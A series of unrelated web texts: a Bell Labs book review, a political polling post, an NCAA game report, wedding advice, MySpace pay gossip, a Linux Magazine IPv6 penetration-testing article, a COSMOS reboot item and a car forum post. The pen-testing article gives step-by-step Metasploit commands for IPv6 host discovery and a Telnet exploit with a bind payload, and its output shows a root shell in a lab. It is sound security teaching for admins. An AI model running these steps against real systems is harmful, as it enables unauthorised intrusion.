I learned about the Water Heater from Ralph Miller, a Bell Labs crypto-engineer who successfully arrived at his 105th birthday this month. During the Cold War, Miller carried his underwear and toothbrush in a steel briefcase, in the event of being unexpectedly summoned to work on nuclear subs stationed in Guantanamo Bay. As Gertner may attest, it's hard scaring up clear living minds from the vacuum-tube generation, and the research behind The Idea Factory is astonishing, drawing from interviews as well as collections and declassified material. Free of online leakage, much of Bell Labs' military work would not be cleared until long after World War II.
Published in 2005, Philip Gerard's Secret Soldiers details Bell Labs' involvement in the U.S. Signal Corps' sonic deception program, mixing battlefield noise on three turntables to essentially raise a phantom army on vinyl. Even more hushed was the Bell Labs collusion with Muzak, Inc., the waiting room god of mindless symphony. Muzak helped produce randomized thermal noise records for a top-secret phone scrambler called SIGSALY, or Project X. Restricted to bigs like Churchill, Roosevelt, and Eisenhower, the system's central component was the vocoder, a Bell Labs device that had the L.A. Times crowing in 1939: "So wondrous, so stupendous, so complicated, so confusing." Invented by physicist/beekeeper Homer Dudley in the late 1920s, the vocoder disbanded the voice into sub-frequencies and reconstituted this information into a machine's impression of human speech. In the interest of transparency—in the Bell Labs, the "realm of opaque chatter"—my acoustic bias toward West Street's military affairs can be traced to a book I wrote on the vocoder. Upon receiving The Idea Factory, I raided the index for vocoders and Project Xs, found none, and realized it's hard to compete with all those lasers, radars, satellites, transistors, and Claude Shannons.
Mr. Shannon is the star of The Idea Factory, and not just because he invented a flamethrower trumpet. (That one never saw combat, alas.) Shannon's cryptography breakthroughs made him a legend among codebreakers, while the conversations—but not secrets—shared with Britain's chief cryptanalyst, Alan Turing, in the cafeteria at 463 West Street are legendary. Apparently, the two smartest guys in the room were busy figuring out how to make machines think, while everyone else at lunch wondered what was going on in their heads.
Shannon's wry sense of humor was manifested in his life and work. He "wooed" his wife Betty in the Differential Analyzer room and designed a Roman numeral calculator called the THROBAC. His chess-playing computer would talk trash, belittling opponent's moves. Shannon also puckishly designed an "Ultimate Machine": simply a box with a button and a hand that emerged to shut it off, as if anticipating Charles Addams' one-handed record changer, Thing.
Shannon's most important realization was that information could be quantified into bits (his word), binary switches of ones and zeros—foreshadowing digital compression and the basis of how we communicate today. Shannon liberated information from requiring meaning, an eerie prank on our TMI society, when the NSA, according to Gertner, "intercepts and stores 2-billion phone calls, emails, and data transmissions" daily.
Meanings aside, The Idea Factory is also able to enjoy the sublime poetry of scientific jargon for its own sake. Take the quantum world, where "you could no longer say a particle has a certain location and speed." Or a measurement like "one-millionth of an atmosphere." The wonderfully named Time Assignment Speech Interpolation scans phone conversations 2,000 times per second for the pauses and dead air in human speech, switching this information to a different channel to increase bandwidth capacity. Meanwhile, John Pierce rescued the transistor from being called "The Iotatron." The very idea.
Gertner laments how the terms of technology have become interchangeable, if not replaceable, like the product itself. The importance of distinguishing between invention, discovery, and innovation. Scientist and engineer. (Or in the vocoder's case, noise and sound.) "The language that describes innovations," he writes, "often fails to distinguish between an innovative consumer product and an innovation that represents a leap in human knowledge." As if understanding had gone the way of John Pierce's Telstar I satellite.
According to the U.S. Space Objects Registry, Telstar has been orbiting the earth since its launch in 1962, when Bell Labs still held hope for the Picturephone. It's now just a floating ball of space junk. There is no signal. In the satellite anthem race, the Sidney Owens soul 45 "Sputnik" far outreaches the Tornadoes' tribute to Telstar anyway. The chorus haunts: "People are running. Where are they going?" To use up all their data, where else? Maybe the future is happening so quickly, we just don't have time for it.
See all the pieces in the new Slate Book Review.


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Summary: How have the two major parties done in attracting and retaining the public's confidence and allegiance, from February 2009 to now? The long slow recovery should have boosted the Democratic Party, who have controlled the Executive Branch and the Senate. It hasn't. In fact the Democrat's remain locked into the long decline of the Left, which they've ridden by following the public's shift to the Right (Democratic leaders of the 1960's would be considered radical commies if they ran today). This is interesting since so many Republicans have gone crazy.
Poll by Hart Research Associates
Commissioned by NBC News and the Wall Street Journal
Done 22 – 25 January 2014.
Question #6:
"Now I'm going to read you the names of several public figures and groups and I'd like you to rate your feelings toward each one as very positive, somewhat positive, neutral, somewhat negative, or very negative."
Compare the results for February 2009 (soon after the inauguration) and January 2014 (% for each answer; the results are similar for December 2008). Political scientists have more sophisticated ways to measure people's political alignment, but this is the bottom lines for elections.
The Democratic Party:
Positive -12, Neutral +4, Negative +9, Don't know -1
- Very positive:………….20 vs 10…..–10
- Somewhat positive:….29 vs 27…..–02
- Neutral:………………….18 vs 22…..+04
- Somewhat negative:…14 vs 20…..+06
- Very negative:………….17 vs 20…..+03
- Don't know:…………….02 vs 01…..-01
Positive -2, Don't know -2, Neutral +4, Negative unchanged.
- Very positive:………….07 vs 05…..-02
- Somewhat positive:….19 vs 19…..no change
- Neutral:………………….24 vs 28…..+04
- Somewhat negative:…25 vs 22…..-03
- Very negative:………….22 vs 25…..+03
- Don't know:…………….03 vs 01…..-02
We have the Tea Party Movement. If we had a strong Left in this country…
…what would they they focus on?
- Ending our mad wars, which spend blood and money but do nothing for America.
- Rebuilding our decaying infrastructure and education systems.
- Destruction of the biosphere (not just climate change), such as pollution & overfishing.
- Address the growth in equality since the 1970's, now at the point where our society is reconfiguring to accommodate the new class structure.
For more about the last point read "If the rich can write the rules then we have a real problem", interview with Angus Deaton (Prof Economics, Princeton), blog of the London School of Economics, 5 December 2013.
For More Information
(a) About American politics:
- Posts about politics in America
- Posts about the Democratic Party
- Posts about Obama, his administration and policies
(b) The great shift to the Right:
- Recommended: The world of wonders: Democratic Party takes center, pushes GOP right to madness, 19 February 2013
- The Republicans are winning, leaders in the building of a New America, 24 October 2013
(c) About our ruling party:
- Polarization and hot rhetoric conceal two similar political parties. Will we ever notice?, 29 October 2010
- Remember the old days, when the GOP and Dems advocated different policies? No longer, since the conservatives won., 5 August 2012
- At the Tampa Convention Right & Left display our great illness: Tribalism, 2 September 2012
- The votes were counted and one wing of our one ruling party won. Rejoice!, 8 November 2012
- The hidden major party, the key to political control of America, 9 November 2012
(d) Posts about the Republican Party:
- The evolution of the Republican Party has shaped America during the past fifty years, 8 May 2010
- Why Republicans Need Remedial Math: Their Budget Plans Explode the Deficit, 16 March 2012
- Let's list the GOP's problems. They're all easily solvable, 12 November 2012
- The Republican Party is like America, and can quickly recover it strength, 14 November 2012
- A harsh clear look at the history of the Republican Party, 22 September 2013
- Most of what Democrats say is wrong about the Republicans' recent actions in Congress, 1 October 2013
- Surveys look into the heart of GOP weirdness: belief in conspiracy theories, 3 October 2013
- A new political party for a New America: the Tea Party GOP, 9 October 2013
(e) Posts about the Democratic Party:
- Public employee unions – an anvil chained to the Democratic Party, 10 February 2013


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FGCU runs out of magic, as Florida chomps Cinderella run short
- FGCU could not contend with Florida on the boards or navigate its defense
- Florida advanced to play fourth-seeded Michigan
- Florida Gulf Coast had been the most refreshing%2C most compelling story line during the NCAA tournament%27s first week
ARLINGTON, Texas -— Florida Gulf Coast, the free-wheeling No. 15 seed that has redefined the term Cinderella team, took the court against Florida as if this were a pickup game near the beach in Fort Myers.
In 75 years of the NCAA tournament, college basketball fans has never seen a collection of pressure-free players quite like the "Dunk City" Eagles, the first No. 15 seed ever to play in the Sweet 16.
Throughout their game against third-seeded Florida, they used the same unbridled enthusiasm and unmistakable athleticism that fueled upsets over Georgetown and San Diego State. But ultimately they struggled to contend with Florida on the boards and navigate its defense, bowing out of the NCAA tournament with a 62-50 defeat before an announced crowd of 40,639 at Cowboys Stadium.
Florida advanced to play fourth-seeded Michigan, whose improbable three-minute rally from a 10-point deficit eliminated top-seeded Kansas, in Sunday's South Region final.
Florida Gulf Coast had been the most refreshing, most compelling story line during the NCAA tournament's first week. The Eagles have been in Division I basketball for just six years and eligible for postseason play for just two. Their coach, Andy Enfield, has an MBA in finance, a model for a wife and a team full of players who had no clue that they had no business playing this deep into the NCAA tournament.
But as often happens to small school underdogs in this tournament, reality hits when they collide with elite power conference teams in the Sweet 16. The exuberant FGCU fans continued to wave banners and flags to the very end Friday night, even as fans supporting other schools streamed to the exits in the game's final two minutes. And in the final seconds, the FGCU fans stood and applauded the players, as Florida fans chanted "Almost Midnight," referencing the end of the Cinderella run.
"When they started their run we did not have the energy we had in the other two games," said Eagles forward Chase Fieler. "We were not playing with the same fire that we had before."
FGCU players said that Enfield told them in the locker room after the game that they should always be proud of what they accomplished because they made history.
"Our plan was not to become some great national story," Enfield said. "Our plan was to go in, compete and win games. ... Our players believed and they accomplished something special."
After squandering an 11-point first half lead, Fieler threw down one of the Eagles' trademark dunks to slice the deficit to seven points with 3:14 to play. Florida, a veteran team that is one victory away from giving coach Billy Donovan his fourth Final Four appearance, just had too much poise to crumble.
Florida ranked among the nation's top five in offensive and defensive efficiency. And the Gators appear to have all the pieces to make a strong run at Donovan's third national title.
But they likely will need to play better – and shoot the three-point shot better – if they hope to beat Michigan on Sunday. But what is always the constant for this team is its defense, which forced Florida Gulf Coast to commit 20 turnovers and rush its offense at times throughout the game.
The Sweet 16 featured several compelling matchups – Duke-Michigan State among them – but none more intriguing than FGCU-Florida. The Eagles on Thursday exuded total confidence, talking about shattering backboards and not taking the Gators too lightly.
And even after a stunning first game at Cowboys Stadium, in which Michigan stunned Kansas in overtime, Florida Gulf Coast served as the main event. A buzz resonated from the crowd as tip-off neared. And from the start, the high-flying Eagles did not disappoint.
FGCU made five of its first six shots, including an alley-oop dunk (naturally) and a three-pointer from about 25 feet. The Eagles led Florida 15-4.
But the Eagles will rue the rebounds they let slip through their hands throughout the half. They shot 56.3% in the half but trailed by four at the break.
"I tried to recruit Shaq and Bill Russell at halftime,'' Enfield said. "But they were busy.''
Florida's best offense in the first half was a missed shot. The Gators grabbed 10 offensive rebounds and outscored the Eagles 11-2 in second-chance points.
And after some first-half above-the-rim fun, the Gators put an end to what had been the best story of the tournament, sending the Eagles back to the beach after a three-game run no one will soon forget.
"I think we learned a lot here,'' Eagles guard Brett Comer said. "I think we learned we can do anything if you set your mind to it.''
Contributing: David Jones.


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Dearest Reader,
Whenever I was faced with a wedding dilemma, I pushed myself to go back to the purpose of a wedding.
A wedding--in my opinion--is:
- An opportunity to publicly declare your commitment and your love to one another, immersed in the support of your closest friends and family.
- An occasion to reunite friends and family in one place.
- A chance to bring two disparate sides together to form new friendships and connections.
- An opportunity to have a relaxed, enjoyable, memorable, and fun(!) experience.
- A chance to showcase and share your values and commitments to the world.
Seriously! I understand when people argue that weddings are about family (see #1, #2, and #3). But why does that mean you should be forced to invite people you are not close to?
Matt and I predicted that the bigger our wedding got, the less connected we would feel to individual people because our wedding would turn into a "meet and greet." You know what I'm talking about. While everyone else eats a sit-down dinner, the bride and groom make an appearance at each table, with the photographer trailing behind. There are so many people to smile at and engage in small talk with that the wedding ends up passing by in a blur. When it's over, you're left to truly live the experience through the photographs.
Additionally, I personally felt that the bigger my wedding got, the more nervous and stressed I would feel. But that could just be me. I'm an introvert, and I don't necessarily enjoy being the center of everyone's attention.
Matt's family is very social and they are very connected to the people in their town. We purposefully avoided having the wedding in Matt's hometown (Bloomington, IN) or my hometown (Tampa, FL and San Diego, CA) because we didn't want our wedding to be dominated by one set of friends/family. Since we happened to be living in Colorado, we had the wedding there. It was a good middle ground.
Matt's family definitely had a ton more people that could've been invited to the wedding. Instead of haggling too much over the guest list, someone suggested that we have a second reception in Matt's home town several months after the actual reception. That way, Matt's parents can invite all of their friends and family. Matt and I are not involved with the planning at all. It's just like a big party that we're invited to.
My family also had people they would have liked to invite. Just the other day (more than a month after the wedding), my mom said, "You know, Cathy was upset that she wasn't invited." Well, the fact is, I haven't seen Cathy since I was 10 years-old.
I understand that we all have to make political choices now and then. There may be a few people whom you really are obligated to invite. But, for the most part, if you apologize and say, "I'm so sorry. We had to cut the guest list way back." the majority of people will get over it. Several of my colleagues are still my friend, even though they weren't invited. My mom's cousin will still be my friend the next time we run into each other.
And, no matter how many tiffs you and your parents get into while a planning a wedding, they are still going to love you after the wedding is over, even if you've made your own choices. Sometimes it's hard to imagine. But it's true. Your relationship with your family is bigger than a one-day event.
Trust me when I say that I understand how difficult the guest list piece is. No one wants to hurt other people's feelings. But at the end of the day, it's your wedding. Your parents--more than anyone else--need to recognize and understand this fact. They need to deprioritize their preferences/tastes/styles and remember that your wedding should be the fullest expression of you and your partner-to-be.
Most of the time I want to vomit when I hear the Wedding Industrial Complex say, "It's your day!" Really, they're just saying, "Go ahead and spend more money. You can justify it because a wedding only happens once in a lifetime."
But in the case of making major decisions that affect the ultimate quality of your wedding and the kind of experience you create for yourself, it is your day. Put your foot down!
E-mail your questions to: email@example.com


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EXCLUSIVE: I'm told that MySpace founders Chris DeWolfe and Tom Anderson have made a very aggressive (some would term it rather fanciful) compensation proposal to owner News Corp for when their contract is up in October. They're asking Peter Chernin and Rupert Murdoch for a 2-year deal worth $50 million total. That comes out to $25 million each, or $12.5 million a year. Plus, the pair want a development fund of $15 million to invest in internet companies. Even though MySpace is probably the most integral part of News Corp's overall corporate strategy (and Murdoch's company recently discussed swapping the social-networking site in exchange for a 25% to 30% stake in Yahoo!), no one has obviously told DeWolfe or Anderson that News Corp is also one of the cheapest companies on earth when it comes to executive compensation. One problem is that, if Murdoch/Chernin pays the pair such an outsized sum, it'll make their other moguls insane if they ever found out, including Jim Gianopulos, Tom Rothman, Peter Ligouri, David Hill not to mention Roger Ailes. I understand News Corp has countered with an offer of $15 million each spread over 2 years — still more than every suit at News Corp except Ailes. I also hear Rupe has given the duo equity in MySpace China, so they already have a deal unlike anyone else's.
I'm told by News Corp insiders that the chances of DeWolfe and Anderson getting what they want pay-wise is "slim to none" and "highly unlikely". Even though the duo's MySpace is incredibly dominant in the social networking sphere, attracting almost 80% of all U.S. visits. Then again, Friendster was huge until next generation MySpace came along. So I think the duo had better hurry and nail down their deal because, every day, MySpace faces more huge pressure from smaller but increasingly popular Facebook, which now gets 12% of all U.S. social networking business. Analysts think Yahoo! would be better off looking again to buy much cheaper Facebook (after offering $1 billion for it last year) now that Terry Semel is gone (News Corp made the MySpace swap proposal to him when he was still in charge) rather than giving away the store. After all, sometimes it only takes one deal to get big into the Internet business. Remember that News Corp was an Internet also-ran; now its web presence rivals that of the giants after purchasing MySpace along with other Internet properties for $629 million when it acquired Intermix Media in July 2005. But even though MySpace has performed spectacularly since News Corp took control, it's still no where near News Corp's $12 billion valuation to Yahoo!. Though that News Corp overture had been described as informal and the discussions tentative, it's potentially ancient history now that Yahoo! co-founder Jerry Yang has taken over as CEO. So DeWolfe and Anderson don't have the leverage they did just a few months ago. True, DeWolfe and Anderson keep talking about the "great relationship" they have with their bosses at News Corp. (Some say it's way better with Murdoch than with Chernin.) The pair, who run MySpace from the second floor of Fox Interactive's glass-and-steel complex, also boast about having more money to grow, faster bandwidth and many programmers now while News Corp supposedly writes the checks and leaves them in total control. (Given MySpace's importance in the music world, not only do they attend film screenings at 20th Century Fox, they're asked what bands to put in the movies.) But there's always the chance that News Corp could decide to replace the pair with a big-time CEO. In the past, the duo have predicted that putting a suit atop a hip young business would kill MySpace. Sometimes good things don't come to those who wait.
UPDATE: Valleywag's Nick Denton (aka the Gawker Media empire-builder) comments that my news "helps explain why Rupert Murdoch has gone cool on MySpace". Turns out that, back on May 4th, News Corp management had a dinner up in Monterey and, instead of Chris DeWolfe, it was Mark Zuckenberg, the founder of rival Facebook, who had the seat of honor to the left of Rupert. Denton was there and noted "DeWolfe had to wait till dessert, after the sandal-wearing Facebook founder abandoned his chair for a late-night show of Spider-Man 3, to sidle up to the boss."
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Pen testing on IPv6 networks: In Through the Back Door
IPv6 Pen Testing
By Michael Messner
If you have enabled IPv6 on your network without considering basic security issues, you might have opened up a hole for attackers. In this article, we demonstrate a successful attack on a server via IPv6 and explain how the popular security tools handle IPv6.
Although the "next generation" IPv6 Internet protocol can already look back on more than 10 years of history, many companies are only now starting to migrate to the new version. Some experts have already begun to point out that IPv6 security has some unexpected complications for admins who are accustomed to IPv4 networks. One such under-mentioned problem is the need to lock down or turn off IPv6 services that might be running on an IPv4 or a dual IPv4/IPv6 network. Some modern systems enable IPv6 by default. Even if your network is primarily focused on IPv4, it is a good idea to pay some special attention to IPv6 in your pen testing. You might discover that your systems are vulnerable to exploits in IPv6 that aren't available (or don't appear) through conventional IPv4 pen tests.
In this article, I take a brief look at some IPv6 testing modules available through the Metasploit framework. In this case, I set up a scenario for my tests within our security testing lab; however, these techniques will help you search out other exploits hidden on your transitional IPv4/IPv6 mixed network.
Looking Around
All recent operating systems are capable of using the IPv6 protocol and often enable it by default. On Linux, you can verify that IPv6 is enabled with a simple test using ifconfig or ip (Listing 1). The output for the interface configuration should contain at least one inet6 entry. If an IPv6-enabled router exists on the internal network, the system might already be configured with a global address in addition to the link-local address.
Listing 1: ifconfig and ip
01 [email protected]:~# ifconfig -a
02 eth0 Link encap:Ethernet HWaddr 00:0c:29:7c:e7:6a
03 inet addr:192.168.11.138 Bcast:192.168.11.255 Mask:255.255.255.0
04 inet6 addr: fe80::20c:29ff:fe7c:e76a/64 Scope:Link
05 […]
06 [email protected]:~# ip -6 addr
07 […]
08 1: lo:
09 inet6 ::1/128 scope host
10 valid_lft forever preferred_lft forever
11 […]
12 2: eth0:
13 inet6 fe80::20c:29ff:fecf:6aba/64 scope link
14 valid_lft forever preferred_lft forever
The presence of an inet6 entry doesn't automatically mean the computer is accessible from external addresses. The scope link in line 4 of Listing 1 means that the address is only used on the local subnet; it is not routed beyond router or network boundaries. Listing 2 shows what the configuration looks like when the network contains an IPv6-capable router.
Listing 2: Global Scope
inet6 addr: 2001:4dd0:fd42:3:20c:29ff:fe7c:e76a/64 Scope:Global**
inet6 addr: fd44:2011:1021:0:20c:29ff:fe7c:e76a/64 Scope:Global**
inet6 addr: fe80::20c:29ff:fe7c:e76a/64 Scope:Link**
A simple test of the IPv6 functions is to ping6 to the loopback interface:
[email protected]:~# ping6 ::1 -c1
PING ::1(::1) 56 data bytes
64 bytes from ::1: icmp_seq=1 ttl=255 time=0.052 ms
— ::1 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms
Just as with IPv4, you can ping the broadcast address (in IPv6, this is FF02::1; all the systems on the local network respond to this). Consequently, the following simple command already offers an initial overview of the local network:
[email protected]:~# ping6 ff02::1%2 | cut -d\ -f4
If you sort the output, remove duplicate entries with uniq, and redirect the results to a text file, you already have a good basis for further analysis.
IPv6 and Metasploit
Many well-known analysis tools are now ready to work with IPv6 systems. You can use Nessus, Nmap, and Wireshark to analyze IPv6-capable networks. Alive6, for instance, offers several tools for analyzing possible IPv6 vulnerabilities (see the sidebar titled "Alive6"). In this article, however, I will focus on Metasploit.
Listing 3: THC IPv6 Attack Toolkit
[email protected]:~# wget http://www.thc.org/releases/thc-ipv6-1.8.tar.gz
[email protected]:~# tar xzf thc-ipv6-1.8.tar.gz
[email protected]:~# cd thc-ipv6-1.8
[email protected]:~# apt-get install libssl-dev
[email protected]: ~/thc-ipv6-1.8# make
[email protected]:~/thc-ipv6-1.8# ./alive6 eth0
Warning: unprefered IPv6 address had to be selected
Alive: fe80::20c:29ff:feec:1a8d
Alive: fe80::20c:29ff:fef5:b6b0
Alive: fe80::20c:29ff:fed9:71ca
Alive: fe80::20c:29ff:fe49:51bf
Alive: fe80::20c:29ff:fe46:8180
Found 19 systems alive
It is not surprising that the Metasploit penetration testing toolset is already largely IPv6 capable. Most auxiliary modules and exploits also work on IPv6-capable networks. Metasploit also includes a variety of IPv6 payloads and a number of special auxiliary modules for IPv6.
If you are new to Metasploit, a number of introductory articles are available at the Linux Magazine and ADMIN websites. In this article, I assume you have some familiarity operating from Metasploit's msfconsole command-line interface.
Listing 4 shows how you can use the search command at the Metasploit console to find existing IPv6 modules.
Listing 4: search type:auxiliary ipv6
10.8.28.2 - (Sessions: 0 Jobs: 0)> search type:auxiliary ipv6
The three modules found in Listing 4 are suitable for scanning local IPv6 networks, as well as IPv4 networks. A typical approach is first to try ipv6_multicast_ping and then use ipv6_neighbor, which determines the corresponding IPv4 addresses for systems found.
Because IPv6 has several multicast addresses, you can target all routers with the destination address ff0X<_2 where="where" x="x" stands="stands" for="for" the="the" possible="possible" scope="scope" which="which" can="can" have="have" following="following" br="values:br"> ff01::2 All routers in interface-local
ff02::2 All routers in link-local
ff05::2 All routers in site-local
Use the ipv6_multicast_ping module to send an ICMP request to the IPv6 multicast addresses and discover the existing systems that listen on IPv6 addresses (Listing 5).
Listing 5: ipv6_multicast_ping
10.8.28.2 - (Sessions: 0 Jobs: 0)> use auxiliary/scanner/discovery/ipv6_multicast_ping
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_multicast_ping) > show options
Module options (auxiliary/scanner/discovery/ipv6_multicast_ping):
Name Current Setting Required Description
—- ————— ——– ———–
INTERFACE no The name of the interface
SHOST no The source IPv6 address
SMAC no The source MAC address
TIMEOUT 5 yes Timeout when waiting for host response.
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_multicast_ping) > run
[*] [2012.02.03-16:11:02] Sending multicast pings…
[*] [2012.02.03-16:11:07] Listening for responses…
[*] [2012.02.03-16:11:09] |*| fe80::20c:29ff:fe4c:2f4d => 00:0c:29:4c:2f:4d
[*] Auxiliary module execution completed
The ipv6_neighbor module is designed for analysis on the local subnet. It tries to use the ARP protocol to discover active IPv4 addresses and then identifies corresponding IPv6 addresses for the systems. This process gives you a simple mapping between identified services and vulnerabilities between IPv4 and IPv6 traffic class addresses (Listing 6).
Listing 6: ipv6_neighbor
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > show options
Module options (auxiliary/scanner/discovery/ipv6_neighbor):
Name Current Setting Required Description
—- ————— ——– ———–
INTERFACE eth0 no The name of the interface
RHOSTS 10.8.28.0/24 yes The target address range or CIDR
SHOST no Source IP Address
SMAC 00:0c:29:cf:6a:ba yes Source MAC Address
THREADS 15 yes The number of concurrent threads
TIMEOUT 500 yes The number of seconds to wait
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > set SHOST 10.8.28.2
ru10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(ipv6_neighbor) > run
[*] [2012.02.03-16:13:11] Discovering IPv4 nodes via ARP…
[*] [2012.02.03-16:13:58] Discovering IPv6 addresses for IPv4 nodes…
[*] [2012.02.03-16:13:58]
[*] [2012.02.03-16:13:59] 10.8.28.3 maps to fe80::20c:29ff:fe68:a4d2
[*] [2012.02.03-16:14:00] 10.8.28.7 maps to fe80::20c:29ff:fe85:c24b
[*] Auxiliary module execution completed
The results obtained by this module are dumped by Metasploit into its own database below notes. Typing
filters the results.
Port Scan
You can also use Metasploit for a simple port scan (Listing 7).
Listing 7: Metasploit Portscan
10.8.28.2 - (Sessions: 0 Jobs: 0)> use auxiliary/scanner/portscan/tcp
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set RHOSTS fe80::20c:29ff:fe4c:2f4d
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set PORTS "7,21,22,23,25,43,50,
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > set THREADS 50
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(tcp) > run
[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:53 - TCP closed
[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:23 - TCP OPEN
[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:50 - TCP closed
[*] [2012.02.03-16:54:50] fe80::20c:29ff:fe4c:2f4d:25 - TCP closed
Use the show options, set, use, RHOST, LHOST, and run commands to discover the target hosts and services. Metasploit adds them to its database, where you can quickly retrieve them using services.
In Listing 7, notice that Metasploit has uncovered a system that has left port 23 open. TCP port 23 corresponds to Telnet. You can then scan the Telnet port on a server, using services -p 23 -R and run, and Metasploit returns some information about the system:
fe80::20c:29ff:fe4c:2f4d 23 tcp telnet open FreeBSD/i386 (freebsd73.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:
The BSD server used here has a vulnerability in its Telnet service that allows attackers to gain unauthorized root access without a password. Although the developers have patched this vulnerability in the meantime, the bug is still there in the original image – and also in many appliances based on BSD.
In the simplest case, select the required auxiliary module with use, and then run set rhosts to configure the IPv6 destination address. Finally, typing run triggers the scanning process (see Listing 8).
Listing 8: Identifying Vulnerabilities
10.8.28.2 - (Sessions: 0 Jobs: 0)> use auxiliary/scanner/telnet/telnet_encrypt_overflow
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(telnet_encrypt_overflow) > set RHOSTS fe80::20c:29ff:fe4c:2f4d
RHOSTS => fe80::20c:29ff:fe4c:2f4d
10.8.28.2 - (Sessions: 0 Jobs: 0) auxiliary(telnet_encrypt_overflow) > run
[+] [2012.02.03-16:40:26] fe80::20c:29ff:fe4c:2f4d:23 VULNERABLE: FreeBSD/i386 (free.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:
[*] [2012.02.03-16:40:26] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
A Successful Attack
The module confirms vulnerability. You can now run an exploit with an IPv6 bind payload against the IPv6 target address. The show payloads command shows compatible payloads for this exploit; you need to select one. On the local network only (Scope:Link), the IPv6 Reverse payload is of limited use because the attacker would need to specify the scope ID or the local interface of the target system. However these settings cannot normally be determined over the network. To finally start the attack, use set PAYLOAD bsd/x86/shell/bind_ipv6_tcp and exploit, which culminates in a root shell on the server (Listing 9).
Listing 9: Root Exploit Against Telnet on IPv6
10.8.28.2 - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > set PAYLOAD bsd/x86/shell/bind_ipv6_tcp
PAYLOAD => bsd/x86/shell/bind_ipv6_tcp
10.8.28.2 - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > show options
Module options (exploit/freebsd/telnet/telnet_encrypt_keyid):
Name Current Setting Required Description
—- ————— ——– ———–
PASSWORD no The password
RHOST fe80::20c:29ff:fe4c:2f4d yes The target address
RPORT 23 yes The target port
USERNAME no The username to authenticate
Payload options (bsd/x86/shell/bind_ipv6_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
LPORT 4444 yes The listen port
RHOST fe80::20c:29ff:fe4c:2f4d no The target address
Exploit target:
Id Name
– —-
0 Automatic
10.8.28.2 - (Sessions: 0 Jobs: 0) exploit(telnet_encrypt_keyid) > exploit
[*] [2012.02.03-16:29:56] Started bind handler
[*] [2012.02.03-16:29:56] Brute forcing with 9 possible targets
[*] [2012.02.03-16:29:56] Trying target FreeBSD 8.2…
[*] [2012.02.03-16:29:56] FreeBSD/i386 (free.pwnme) (ttyp0)\x0d\x0a\x0d\x0alogin:
[*] [2012.02.03-16:30:00] Sending first payload
[*] [2012.02.03-16:30:01] Sending second payload…
[*] [2012.02.03-16:30:01] Sending stage (46 bytes) to fe80::20c:29ff:fe4c:2f4d
[*] [2012.02.03-16:30:01] Trying target FreeBSD 7.0/7.1/7.2…
[*] Command shell session 1 opened (fe80::20c:29ff:fecf:6aba%eth0:45801 -> fe80::20c:29ff:fe4c:2f4d%eth0:4444) at 2012-02-03 16:30:02 +0100
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
An exploit against the Telnet service on the IPv6 address was successful; the attacker has root privileges on the server. Just to remind you: this example shows how a system that has no services and no vulnerabilities on its IPv4 address can be attacked and completely compromised via IPv6.
[1] THC IPV6 attack toolkit
Michael Messner works as a Senior IT Security Consultant with Integralis Deutschland GmbH, where he performs technical security analyses and penetration testing for renowned German companies. He is also a Metasploit Trainer and the author of the comprehensive Metasploit book, Metasploit – Guide to the Penetration Testing Framework.
In the US and Canada, Linux Magazine is known as Linux Pro Magazine.
© 2013 Linux New Media USA, LLC
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In Fall 2013, Family Guy creator Seth MacFarlane will team up with Neil deGrasse Tyson in a bid to bring back COSMOS, the iconic television series written by Carl Sagan, his wife Ann Druyan, and astrophysicist Steven Soter. Druyan and Soter will co-produce with MacFarlane, and Tyson will be filling the shoes of Sagan as host of the series, which is scheduled to air on Fox.
We're obviously excited for the show, but that should come at no surprise; more important is whether the reboot will have what it takes to not only capture the attention of a more general audience, but rekindle in that audience a real interest in the universe that surrounds us. In the video featured here, Forbes' Dorothy Pomerantz talks with MacFarlane about his role in bringing the show back to life, and whether it can "save science." You can check out Pomerantz's write-up over on Forbes.


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Hyundai Sonata Airbag Issues
edited August 2014 in Hyundai
Ok so I have an aftermarket remote starter. Whenever I use this unit to start the car, my Sonata will give the "Passenger Airbag Off" regardless if I have a passenger next to me or not. I have told Hyundai about this and they tell me that the computer has determined that the person sitting there is in a position where the airbag deploying would not be beneficial in an accident. This may be the case in some situations, but I find this extremely hard to believe that EVERY TIME I use my remote starter, my passenger is in an unsafe position. I have had passengers jump up and down, wiggle around, moved the seat forward/back, incline/decline etc....still no go.
If I turn the car off and restart the car with the key, while the passenger is in the car the "passenger airbag off" indicator is unlit specifying that the airbag WILL now deploy.
Does anyone have any suggestions? Realistically I could use the remote starter to warm the car up...get into the car and turn the car off and restart with the key every time but that seems like a pain in the [non-permissible content removed].
I'm wondering if there is some type of time limit for a passenger to sit on the seat to activate the airbag....kind of similar to the seat belt chime which will go off after 10 minutes.
Thanks for the help/ideas/suggestions in advance.
If I turn the car off and restart the car with the key, while the passenger is in the car the "passenger airbag off" indicator is unlit specifying that the airbag WILL now deploy.
Does anyone have any suggestions? Realistically I could use the remote starter to warm the car up...get into the car and turn the car off and restart with the key every time but that seems like a pain in the [non-permissible content removed].
I'm wondering if there is some type of time limit for a passenger to sit on the seat to activate the airbag....kind of similar to the seat belt chime which will go off after 10 minutes.
Thanks for the help/ideas/suggestions in advance.
